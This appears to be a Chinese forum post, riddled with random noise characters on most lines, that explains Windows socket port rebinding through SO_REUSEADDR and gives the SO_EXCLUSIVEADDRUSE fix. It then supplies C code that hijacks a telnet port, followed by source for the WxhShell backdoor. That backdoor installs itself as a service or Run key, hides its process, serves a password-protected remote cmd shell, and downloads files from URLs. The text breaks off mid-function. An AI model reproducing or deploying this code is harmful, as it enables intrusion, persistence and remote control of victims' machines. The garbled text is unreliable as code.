在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
,/ P)c*at5 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
|p1pa4%} (ON_(MN
saddr.sin_family = AF_INET;
j.L`@ D3+UV+&R/ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
xRx8E;Q@h? EL[N%M3 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
:jp4 !0w p&%M=SzN 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
x>yeF,q1 8 O5@FU
3 这意味着什么?意味着可以进行如下的攻击:
d\{#*{_A mVBF2F<4 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
4&c7^ 4w~ Tpv]c 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
1li1& !Y3
*\ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
K{)YnY_E; E"P5rT 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
0bQm:J[(# 'r5[tK} 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
m8|&z{ H' [#x2 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
+|w-1&- Z=vzF0 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
jBvZ>H+w~ *qLOr6 #include
-
:0{
#include
lTh}0t #include
G
39 #include
Tmo+I4qoL DWORD WINAPI ClientThread(LPVOID lpParam);
mj{/' int main()
G1d!a6> {
qOKC2WD WORD wVersionRequested;
]eJjffx DWORD ret;
f
V|Zh WSADATA wsaData;
vh~:{akR BOOL val;
jaj."v SOCKADDR_IN saddr;
`euk&]/^.) SOCKADDR_IN scaddr;
+=y ktf int err;
ms%Ot:uA SOCKET s;
kOfu7Zj SOCKET sc;
MO{6B#(<F int caddsize;
Ij_VO{]G'l HANDLE mt;
VS#i>nlT DWORD tid;
jy]<q^J wVersionRequested = MAKEWORD( 2, 2 );
#egP*{F err = WSAStartup( wVersionRequested, &wsaData );
]g/%w3G if ( err != 0 ) {
a%-P^M;a2 printf("error!WSAStartup failed!\n");
o.}?K>5 return -1;
S|8O$9{x9q }
S:UtmS+K saddr.sin_family = AF_INET;
'M*+HY\.0 (\si/& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
fU+A~oL%I .g7ebh6D saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
"Iy @PR?> saddr.sin_port = htons(23);
FshQ OFW if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
z90=,wd {
!Z7
~Rsdm printf("error!socket failed!\n");
ql%>)k /x return -1;
VvwQz#S }
"/).:9],} val = TRUE;
xi6Fs, 2S //SO_REUSEADDR选项就是可以实现端口重绑定的
Sdc;jK 9d! if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
}{^i*T5rl {
z/7H/~d printf("error!setsockopt failed!\n");
")U`W gx return -1;
-4JdKO }
`'u|4pRFs //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
]FLuiC //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
W"mkNqH //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
#![i
{7 ms=Ilz if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
saH +C@_, {
rs@,<DV)u ret=GetLastError();
wovWEtVBU printf("error!bind failed!\n");
.Lrdw3( return -1;
V*U7-{ *a }
Kfc(GL? listen(s,2);
@|&P#wd.u while(1)
(U/xpj} {
;bd\XHwMUP caddsize = sizeof(scaddr);
63QSYn,t //接受连接请求
a$I;
L sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
$S$%avRX if(sc!=INVALID_SOCKET)
Aa&3x~3+ {
5Mb1==/R mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
:~ 3/ if(mt==NULL)
|WeLmy%9 {
,\5]n&T;r printf("Thread Creat Failed!\n");
Vkex&?>v$ break;
bw{%X
}
7581G$@ym }
RIUJ20PfYQ CloseHandle(mt);
:yvUHx }
5:f}bW* closesocket(s);
6^zuRY; WSACleanup();
R|{6JsjG10 return 0;
kTG}>I }
f #414ja DWORD WINAPI ClientThread(LPVOID lpParam)
-5A@FGh {
muQ7sJ9
r SOCKET ss = (SOCKET)lpParam;
;w?zmj<Dm SOCKET sc;
8oY0?|_Bx unsigned char buf[4096];
4qjY,QJ SOCKADDR_IN saddr;
G%anot long num;
Y3[< DWORD val;
WJ\YKXG DWORD ret;
8k+Ctk //如果是隐藏端口应用的话,可以在此处加一些判断
$cH'9W}3K //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Tk/K7h^ saddr.sin_family = AF_INET;
bt#=p7W saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
&%J{C3Q9 saddr.sin_port = htons(23);
|mrAvm}
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
lp?geav {
2o/}GIKj printf("error!socket failed!\n");
W.o
W=< return -1;
PG)dIec }
z@VY s val = 100;
0;e>kz3o if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
FFH-Kw, {
Y&k'4Y% ret = GetLastError();
2`t4@T return -1;
x&)P)H0vn }
9 VkuYm,3 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
yq[C?N &N {
e&F,z=XJ} ret = GetLastError();
bM8b3,}?n return -1;
Kd;|Z }
qX:54$t if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
g<KBsz!{ {
NK*~UePy printf("error!socket connect failed!\n");
HI']{2p2}t closesocket(sc);
Qd]-i3^0 closesocket(ss);
Old5E& return -1;
M&@9B)|= }
Abce]-E while(1)
WJe {
vyqlP;K //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
^l_W9s //如果是嗅探内容的话,可以再此处进行内容分析和记录
61T"K //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Y cOtPS% num = recv(ss,buf,4096,0);
)y.J2_lI8 if(num>0)
|!I# T send(sc,buf,num,0);
^fS~va else if(num==0)
,_YCl09p( break;
LUKdu&M num = recv(sc,buf,4096,0);
UX2`x9 if(num>0)
w{K_+}fAC send(ss,buf,num,0);
CbS9fc& else if(num==0)
|,t#Au}61 break;
fVo)# Bj }
}RDhI1x[mk closesocket(ss);
6P? closesocket(sc);
]t7<$L return 0 ;
7Y@&& }
athU qN+ ngk,: !K(0)~u ==========================================================
]_|qv1K6 hV'JTU]H 下边附上一个代码,,WXhSHELL
FL0(q>$*8 $+S'Boo ==========================================================
uGc}^a2 04:^<n+{ #include "stdafx.h"
K!HSQ,AC C#>c(-p>RC #include <stdio.h>
zWB>;Z} #include <string.h>
Gnj|y?' #include <windows.h>
5 ah]E #include <winsock2.h>
k=w%oqpN #include <winsvc.h>
~;il{ym #include <urlmon.h>
GJ
ZT~ 5cgDHs #pragma comment (lib, "Ws2_32.lib")
h&[]B*BLr #pragma comment (lib, "urlmon.lib")
?J6J#{LRd ?o),F^ir #define MAX_USER 100 // 最大客户端连接数
^C_Y[i
~| #define BUF_SOCK 200 // sock buffer
EmVE<kY. #define KEY_BUFF 255 // 输入 buffer
!95ZK.UT k1_f7_m #define REBOOT 0 // 重启
wb.47S8 #define SHUTDOWN 1 // 关机
rC[*x} -+#\WB{AI #define DEF_PORT 5000 // 监听端口
_CciU.1k&, dilRL, #define REG_LEN 16 // 注册表键长度
oh :g #define SVC_LEN 80 // NT服务名长度
#
x!47Y{ o.keM4OQ // 从dll定义API
e%U0^! 8 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
#fRhG^QKp typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
j0Kj> typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
yO]Vex5) typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
bQrH8) 5|9,S // wxhshell配置信息
]xCJ3.9 struct WSCFG {
Ym8G=KA int ws_port; // 监听端口
S c_*L<$ char ws_passstr[REG_LEN]; // 口令
4T{+R{_Y1 int ws_autoins; // 安装标记, 1=yes 0=no
(UAa char ws_regname[REG_LEN]; // 注册表键名
cuB~A8H#} char ws_svcname[REG_LEN]; // 服务名
B<I%:SkF@ char ws_svcdisp[SVC_LEN]; // 服务显示名
8G6PcTqv" char ws_svcdesc[SVC_LEN]; // 服务描述信息
R/Mwq#xUb char ws_passmsg[SVC_LEN]; // 密码输入提示信息
g>1yQ
int ws_downexe; // 下载执行标记, 1=yes 0=no
#Ne<=ayS char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
I_6?Q^_uZ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
`M6!V \j+O |#`|) };
+%OINMo.A 9gZMfP // default Wxhshell configuration
C\ZL*,%} struct WSCFG wscfg={DEF_PORT,
&BY%<h0c "xuhuanlingzhe",
d(3F:dbk 1,
r/$+'~apTk "Wxhshell",
j&6,%s-M`a "Wxhshell",
'_lyoVP "WxhShell Service",
5bYU(] "Wrsky Windows CmdShell Service",
A[
9
@:z "Please Input Your Password: ",
5x(`z
1,
gPSUxE`O. "
http://www.wrsky.com/wxhshell.exe",
DJ_,1F "Wxhshell.exe"
KkP}z };
W=c7>s0> )@09Y_9r // 消息定义模块
<H<5E'm char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
x#-uf char *msg_ws_prompt="\n\r? for help\n\r#>";
([R}s/)$ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
'b:e`2fl char *msg_ws_ext="\n\rExit.";
|R8=yO%( char *msg_ws_end="\n\rQuit.";
RrSSAoz1 char *msg_ws_boot="\n\rReboot...";
>J_{mU char *msg_ws_poff="\n\rShutdown...";
F1JSf&8 char *msg_ws_down="\n\rSave to ";
7}OzTup bj\v0NKN4 char *msg_ws_err="\n\rErr!";
#H{<nVvg^ char *msg_ws_ok="\n\rOK!";
kT@RA} R $HIJM char ExeFile[MAX_PATH];
h#'(i<5v
int nUser = 0;
nF~</> HANDLE handles[MAX_USER];
`au('
xi< int OsIsNt;
MH[Zw$ ;>QED SERVICE_STATUS serviceStatus;
ML'4 2z
Y SERVICE_STATUS_HANDLE hServiceStatusHandle;
CP_ ?DyWU .281;] = // 函数声明
-ZFeE[Z int Install(void);
cN0|! nm* int Uninstall(void);
0L"CM?C int DownloadFile(char *sURL, SOCKET wsh);
|-4C[5rM int Boot(int flag);
&,4]XT void HideProc(void);
5W"nn int GetOsVer(void);
^29w@* int Wxhshell(SOCKET wsl);
j2# nCU54Z void TalkWithClient(void *cs);
u
+q}9 int CmdShell(SOCKET sock);
bq[j4xH0X int StartFromService(void);
pW7vY)hj int StartWxhshell(LPSTR lpCmdLine);
Zs<}{`- vn|u&}h VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
?z% @;& VOID WINAPI NTServiceHandler( DWORD fdwControl );
1RM;"b/ kF.!U/C // 数据结构和表定义
]vJZ v"ACn SERVICE_TABLE_ENTRY DispatchTable[] =
K]' 84!l {
!|_b}/ {wscfg.ws_svcname, NTServiceMain},
vK6YU9W~J {NULL, NULL}
hDJq:g
wD };
r7Bv?M^! `)e;bLP // 自我安装
c[E{9wp v int Install(void)
Ou</{l/ {
'Bb]<L` char svExeFile[MAX_PATH];
Epj HKEY key;
J_YbeZ] strcpy(svExeFile,ExeFile);
3{RuR+yi {k] 2h4 &h // 如果是win9x系统,修改注册表设为自启动
NLFs)6\ if(!OsIsNt) {
GdG1e%y]z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
PxzeN6f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(RG\U[ RegCloseKey(key);
r \H+=2E' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Uo v%12 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Be}e%Rk RegCloseKey(key);
v ~.X return 0;
<h|XB}s+ }
:,"dno7OQ }
~ ui/Qf2| }
geU-T\1[l else {
i3t=4[~oL ozH7c_ < // 如果是NT以上系统,安装为系统服务
{PgB~|W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
$V-]DD%Y if (schSCManager!=0)
r_p9YS@I {
r9z_8#cR SC_HANDLE schService = CreateService
21D4O,yCe (
}HtP8F8!x schSCManager,
w{k8Y? wscfg.ws_svcname,
N
?Jr8 wscfg.ws_svcdisp,
a(Ka2;M4J SERVICE_ALL_ACCESS,
5x?eun SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
(UDF^ SERVICE_AUTO_START,
QEL^0c8 ~ SERVICE_ERROR_NORMAL,
]\5@N7h svExeFile,
uMa: GDh7 NULL,
.z&V!2zp NULL,
m76**X NULL,
O$u;]cg NULL,
4r#O._Z NULL
!O
F#4N );
\DBoe:0~ if (schService!=0)
'`?\CXX {
_d6mf4M]5 CloseServiceHandle(schService);
-B:Z(]3#\ CloseServiceHandle(schSCManager);
FP<RoA?W strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
KJWYG^zI strcat(svExeFile,wscfg.ws_svcname);
9+@"DuYc6 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
P`6
T;|VDk RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
75i
M_e\ RegCloseKey(key);
{`QF(WL return 0;
^Dh j<_ }
o^dt#
& }
X<@yt HBv CloseServiceHandle(schSCManager);
MV6%~T }
^4(CO[|c~ }
6i[\?7O'0 3S1V^C-eBx return 1;
#3u3WTk+ }
'7o'u] FQNhn+A // 自我卸载
_?<Y>B, E int Uninstall(void)
f/Km$#xOr {
!+& NG&1 HKEY key;
9(lIz{ $UW!tg*U& if(!OsIsNt) {
X@Eq5s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
EceZ1b RegDeleteValue(key,wscfg.ws_regname);
D *W+0 RegCloseKey(key);
*E:w377<} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
I=D{(%+^d RegDeleteValue(key,wscfg.ws_regname);
]_I<-}?; RegCloseKey(key);
RK(uC-l return 0;
S#0y\ }
nQK@Uy5Yr }
d hiLv_/ }
JfKhYRl else {
:i0xer . hHt+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
S$W
*i@x? if (schSCManager!=0)
G39H@@ *O0 {
WzgzI/ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
@
:Q];rc if (schService!=0)
pW8pp? {
%s$_KG !& if(DeleteService(schService)!=0) {
O8SX#,3^} CloseServiceHandle(schService);
8"wA8l. CloseServiceHandle(schSCManager);
SAs'u"EB return 0;
hw_7N)} }
&N0W! CloseServiceHandle(schService);
q "bpI8j }
X X{:$f+ CloseServiceHandle(schSCManager);
pX6T7 }
vb: '%^v }
E1 *\)q R- `{W:S return 1;
.)|jBC8|} }
F"hi2@/TI z-[Jbjhd // 从指定url下载文件
5
W(iU int DownloadFile(char *sURL, SOCKET wsh)
] 5P{* {
oLruYSaD HRESULT hr;
++,mM7a char seps[]= "/";
Uo^s]H#: char *token;
%Tsefs?_ char *file;
Aplqxvth char myURL[MAX_PATH];
:KX/` char myFILE[MAX_PATH];
XIBw&mWf Ea\a: strcpy(myURL,sURL);
~l6e&J token=strtok(myURL,seps);
,wO5IaV while(token!=NULL)
-rH4/Iby {
<py~(q file=token;
2: pq|eiF token=strtok(NULL,seps);
\`>Y }
2#/ KS^ [n74&EH GetCurrentDirectory(MAX_PATH,myFILE);
]-x#zp;= strcat(myFILE, "\\");
\vQ_:-A strcat(myFILE, file);
7MGc+M(p send(wsh,myFILE,strlen(myFILE),0);
BC@"WlD send(wsh,"...",3,0);
d/t'N-m hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
GmAE!+" if(hr==S_OK)
`R:<(: return 0;
Q7=J[,V: 2 else
y9s5{\H return 1;
q<hN\kBs sE/9~L }
Pv1psKu Y%=A>~s*c: // 系统电源模块
WR'A%"qBwi int Boot(int flag)
'c &Bmd40 {
+bRL.xY HANDLE hToken;
=PZs'K TOKEN_PRIVILEGES tkp;
g LpWfT29V w_U5w if(OsIsNt) {
oR-_=U^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
t9K.Jc0 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
zv0RrF^ tkp.PrivilegeCount = 1;
2tWUBt\,g tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
(O`=$e AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
+IS$Un if(flag==REBOOT) {
r<|\4zIo/ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
>F-J}P return 0;
IZ2#jSDn }
/$9/,5|EA else {
n]j(tP if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
#=O0-si]P return 0;
B;K{Vo:C }
!)\`U/.W
}
xE6y9"}!h else {
|23 }~c, if(flag==REBOOT) {
p:4vjh=1h if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
W_DO8nX return 0;
v>nJy~O] }
/(}V!0\? else {
^k)f oD if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
kW,yZ.?f return 0;
T|{BT!
W1E }
|f>y"T+1 }
(g4g-"rc Q z/pz_} return 1;
;3?M?E/$s }
RK'( {1
6&u,. // win9x进程隐藏模块
9CN /v void HideProc(void)
9J|YP}% {
G2jEwi Yd<~]aXM HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
-d[x09 if ( hKernel != NULL )
S`6'~g {
n `n3[ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
7=<PVJ*/ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
NA3yd^sr FreeLibrary(hKernel);
H@
w6.[# }
gai?LXM
l} #Se return;
Hou{tUm{xC }
M,#t7~t q7)$WXe2LM // 获取操作系统版本
dT|z)-Z` int GetOsVer(void)
<wSmfg,yF {
QyN~Crwo OSVERSIONINFO winfo;
96PVn winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
C>MoR 3] GetVersionEx(&winfo);
22*t%{( if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
=~arj return 1;
r2<+ =INn else
IIu3mXAw return 0;
FVD}9ia }
6?a(@<k_ _Ng*K]0/E // 客户端句柄模块
Y7jD:P int Wxhshell(SOCKET wsl)
siG?Sd_2 {
%fyb?6?Y SOCKET wsh;
xH
f9N? struct sockaddr_in client;
sEj:%`l| DWORD myID;
i;tA<-$-
pIrAGA; while(nUser<MAX_USER)
*K98z ? {
CX:^]wY int nSize=sizeof(client);
G|MDo|q] wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
OcH- `A if(wsh==INVALID_SOCKET) return 1;
J`8>QMK^5 D-~Jj&7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
:E^B~ OuL if(handles[nUser]==0)
#0P<#S^7 closesocket(wsh);
mvL'l) else
GS$k nUser++;
D4vmBVT }
jK=*~I WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
XVLuhwi 0iE).Za0g return 0;
,C&>mv xA }
_Pz3QsV9 `kv$B3 // 关闭 socket
?rOb?cu- void CloseIt(SOCKET wsh)
NY;UI(<] {
?% X9XH/! closesocket(wsh);
{x4[Bx1 nUser--;
UbibGa=
) ExitThread(0);
P3yiJ|vP }
=c.q]/M 'f}S,i +q // 客户端请求句柄
vedMzef[@> void TalkWithClient(void *cs)
F^NR qE {
55cldo z-gwNE{ SOCKET wsh=(SOCKET)cs;
YKg[k:F char pwd[SVC_LEN];
sKuTG93sr@ char cmd[KEY_BUFF];
,1[??Y char chr[1];
{^kG<v.vV int i,j;
|Hm'.- @NNLzqqY while (nUser < MAX_USER) {
:.Qe=}9 i@CMPz-h& if(wscfg.ws_passstr) {
;
BZM~'
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
$i@EfujY //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
,4Fqvg //ZeroMemory(pwd,KEY_BUFF);
pG( knu i=0;
y9L#@ while(i<SVC_LEN) {
Wh Zaq B# ?2, // 设置超时
n2{{S(N fd_set FdRead;
@."o:K struct timeval TimeOut;
IPVzV\o FD_ZERO(&FdRead);
|3,V%>z FD_SET(wsh,&FdRead);
v|I5Gz$qpa TimeOut.tv_sec=8;
~8m>DSs)D TimeOut.tv_usec=0;
1D[P\r- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
T{<@MK%],d if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
]pV1T = b!J)] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
qZJ*J+ pwd
=chr[0]; i+[3o@
if(chr[0]==0xd || chr[0]==0xa) { '=
<`@
pwd=0; dT)KvqX
break; eM+;x\jo?
} -z0{\=@#m
i++; ?a>7=)%AH
} @5jG
B#6pQp$
// 如果是非法用户,关闭 socket z>33O5U
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +w.Kv
;
} _qeuVi=A
ij(4)=
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HQ3`:l
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @7s,|\
&U~r}=
while(1) { #a | ch6B
kLVn(dC "
ZeroMemory(cmd,KEY_BUFF); paNw5]
-
HS:}![P
// 自动支持客户端 telnet标准 kr(<Y|
j=0; X^D9)kel
while(j<KEY_BUFF) { +%Yc4
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mp,e9Nd;
cmd[j]=chr[0]; N+M&d3H`
if(chr[0]==0xa || chr[0]==0xd) { n<:d%&^n
cmd[j]=0; vaRwhE:
break; dA}
72D?
} MpA;cw]cI/
j++; K@P`_yxN
} EotwUT|
vzcBo%
// 下载文件 \`/E
!ub
if(strstr(cmd,"http://")) { ^Y7 /Ow
send(wsh,msg_ws_down,strlen(msg_ws_down),0); F[kW:-ne@Z
if(DownloadFile(cmd,wsh)) zZ9<4"CIk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9*|3E"Vr
else w2d]96*kQe
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XU_,Z/Yw_
} <.WM-Z
else { zNny\Z
M7DLs;sD
switch(cmd[0]) { FGwnESCC
7y)=#ZG'R
// 帮助 *1W,Mzg
case '?': { tP`G]BCbt
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QM ZUt
break; '}Wu3X
} `(,*IK a
// 安装 {@V3?pG?p
case 'i': { }xb_s
if(Install()) FKox0Jmh=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @?Gw|bP
else l+2cj?X
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 30?LsYXL62
break; hDljY!P>p
} 9$+^"ilk
// 卸载 aZj J]~bO
case 'r': { }r}RRd
if(Uninstall()) ^m_^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6~ 7 ;o_>
else @fqV0l!GR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I
f3{E
break; A~SL5h
} 2;4]PRD6w
// 显示 wxhshell 所在路径 <!~1{`n%9J
case 'p': { @VC .>
char svExeFile[MAX_PATH]; $_RWd#Q(
strcpy(svExeFile,"\n\r"); GsIwY {d
strcat(svExeFile,ExeFile); DB`$Ru@
send(wsh,svExeFile,strlen(svExeFile),0); 9q1HSJ1)
break; 5wH54gj}
} TCHqe19?
// 重启 f v E+.{
case 'b': { rFmKmV
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /5Zp-Pq
if(Boot(REBOOT)) y9C;T(oi;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); RCBf;$O
else { :8^M5}
closesocket(wsh); _8Nw D_"
ExitThread(0); 1Xy8|OFc[
} M3Khc#5S(
break; P+dA~2k
} rQ~ \~g[tP
// 关机 1BQ0M{&
case 'd': { fvcW'T}r
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {f+N]Oo*
if(Boot(SHUTDOWN)) z\fW )/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yo\N[h7
else { gA~20LSt
closesocket(wsh); K(nS$x1G
ExitThread(0); C4QeDvpI
} >4n+PXRXX
break; ;rB6u_5"I.
} jR{-
// 获取shell
lWx
case 's': { *jk3 \KaoV
CmdShell(wsh); &?.n2+T+
=
closesocket(wsh); (C daE!I4Q
ExitThread(0); 48 W.qzC
break; BBHK
} *16<M)7
// 退出 G2.|fp_}pG
case 'x': { pheE^jUr
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GE1i+.+-.
CloseIt(wsh); /g_9m
break; %#~((m1
} n*4lz^LR
// 离开 oZTgN .q
case 'q': { 4k8*E5cx
send(wsh,msg_ws_end,strlen(msg_ws_end),0); <9P4}`%)3
closesocket(wsh); M|\^UF2e
WSACleanup(); o#qH2)tb
exit(1); CRH{E}>
break; #6Jc}g<?g
} t,
U)
~wi
} *GQDfs`m
} pzp,t(%j
&+ KyPY+
// 提示信息 t3PtKgP-6
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7vn%kW=$
} ypx: )e"/
} HTmI1
^Ye\u1n4
return; GCDwWCxh
} Sw~(uH_l
^ eQFg>
// shell模块句柄 '77~{jy
int CmdShell(SOCKET sock) |]`hXr
{ \(I0wEQo$
STARTUPINFO si; @q K]JK
ZeroMemory(&si,sizeof(si)); a1Hz3y~S/
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HcRa`Sfc]/
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xwRhs!`t1
PROCESS_INFORMATION ProcessInfo; 9lf*O0Z&n
char cmdline[]="cmd"; 6{q;1-8j+j
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <,"4k&0Q>V
return 0; +`@M*kd
} 57wFf-P
{;s;.
// 自身启动模式 AS)UJ/lC
int StartFromService(void) ,57$N&w
{ =;0wFwSz
typedef struct !b8uLjd;
{ YEv%C|l
DWORD ExitStatus; ui:=
DWORD PebBaseAddress; !/`$AXO
DWORD AffinityMask; VYZU eh
DWORD BasePriority; r9#
\13-
ULONG UniqueProcessId; zN#*G
i'
ULONG InheritedFromUniqueProcessId; UXT
p
} PROCESS_BASIC_INFORMATION; ~C-,G"zw&G
)VSwTx&
